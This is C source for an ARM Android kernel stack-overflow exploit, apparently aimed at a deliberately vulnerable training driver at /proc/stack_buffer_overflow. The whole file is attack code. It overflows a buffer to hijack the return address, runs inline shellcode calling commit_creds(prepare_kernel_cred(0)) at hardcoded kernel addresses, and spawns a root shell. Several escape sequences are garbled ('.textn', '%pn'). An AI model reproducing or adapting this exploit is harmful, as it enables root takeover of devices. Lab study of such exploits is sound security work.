#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

#define MAX             64

int open_file(void)
{
    int fd = open("/proc/stack_buffer_overflow", O_RDWR);
    if (fd == -1)
        printf("open fail.\n");

    return fd;
}

void payload(void)
{
    printf("[+] enjoy the shell\n");
    execl("/system/bin/sh", "sh", NULL);
}

extern uint32_t shellCode[];

asm
(
"    .textn"
"    .align 2"
"    .code 32"
"    .globl shellCode"
"shellCode:"
// commit_creds(prepare_kernel_cred(0));
// -> get root
"LDR     R3, =0xc0039d34"   //prepare_kernel_cred addr
"MOV     R0, #0"
"BLX     R3"
"LDR     R3, =0xc0039834"   //commit_creds addr
"BLX     R3"
"MOV     r3, #0x40000010"
"MSR     CPSR_c,R3"
"LDR     R3, =0x879c"     // payload function addr
"BLX     R3"
);

void trigger_vuln(int fd)
{
        #define MAX_PAYLOAD (MAX + 2  * sizeof(void*) )
        char buf[MAX_PAYLOAD];
        memset(buf, 'A', sizeof(buf));
        void * pc = buf + MAX +  1 * sizeof(void*);

        printf("shellcdoe addr: %pn", shellCode);
        printf("payload:%pn", payload);
        *(void **)pc  = (void *) shellCode;   //ret addr
        /* Kaboom! */
        write(fd, buf, sizeof(buf) );
}

int main(void)
{
    int fd;
    fd = open_file();
    trigger_vuln(fd);
    payload();
    close(fd);

    return 0;
}
